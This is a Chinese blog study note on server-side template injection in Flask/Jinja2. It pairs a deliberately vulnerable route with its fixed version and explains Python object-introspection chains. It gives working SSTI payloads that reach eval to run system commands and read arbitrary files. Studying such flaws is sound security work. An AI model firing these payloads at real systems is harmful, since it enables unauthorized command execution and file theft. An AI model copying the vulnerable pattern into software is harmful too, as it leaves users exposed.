[Flask(Jinja2)服务端模板注入漏洞(SSTI)]学习简记

0x00  关于Flask框架

  https://www.cnblogs.com/hello-there/p/12776502.html

  我的这篇文章中简单介绍了Flask框架的基本知识


0x01

  参考:

  https://www.freebuf.com/column/187845.html


0x02 漏洞相关

  1)render_template()用来渲染模板文件,而render_template_string()用来渲染一个字符串.

index_page="<h1>This is index page!</h1>"
return render_template_string(index_page)

  2)漏洞形成原因:不正确的使用flask中的render_template_string方法会引发SSTI。

    a)下面来看一段存在漏洞的代码:

from flask import Flask,render_template_string,request

app = Flask(__name__)
@app.route('/test/')
def test():
    code = request.args.get('id')   //get方式获取id
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

app.run()

输入[?id=1],页面如下:

输入[?id=<script>alert(/xss/)</script>],看看什么效果?

 

   很明显,造成了xss漏洞.

    b)将代码进行修改:

from flask import Flask,render_template_string,request

app = Flask(__name__)
@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>{{code}}</h3>
    '''
    return render_template_string(html,code=code)

app.run()

再输入[?id=<script>alert(/xss/)</script>],查看页面,如下:

 

可以看到,js代码被原样输出了。这是因为模板引擎一般都默认对渲染的变量值进行编码转义,这样就不会存在xss了。在这段代码中用户所控的是code变量,而不是模板内容。存在漏洞的代码中,模板内容直接受用户控制的。


0x03 SSTI文件读取/命令执行

   1)先贴两条pyhon2,python3通用的payload:

    

#命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}
#文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

  其中第一条payload中的[id]可以替换成命令,如ls,cat等,第二条payload的[filename]也可替换成文件名称.

 

  2)Go deeper

    a)通过对python的对象继承一步步来实现文件读取和命令执行,思路大抵为:[寻找父类<type:'object'>]->寻找子类->寻找关于命令执行或者文件操作的模块.

    

__class__  返回类所属的对象
__mro__    输出当前对象所调用的全部类包括其父类
__base__   同__mro__,用来寻找基类
__subclasses__         输出该类下所有的子类(返回列表)
__init__    类的初始化方法
__globals__    对包含函数全局变量的字典的引用

 

    获取字符串类的对象:

''.__class__

-><type 'str'>

 

 

    寻找父类:

''.__class__.__mro__(__base__)

-><type 'str'>,<type 'basestring'>,<type 'object'>

 

 

    寻找可用引用:

''.__class__.__base__.__subclasses__()

-><type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>

 

 

    由于本人目前技术有限,所以后面的过程就参考一位师傅的文章:

   https://blog.csdn.net/qq_27446553/article/details/79379136?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3&utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-3

   文章里详细介绍了寻找payload的思路.

 

posted @ 2020-04-26 11:36  泠涯  阅读(975)  评论(0编辑  收藏  举报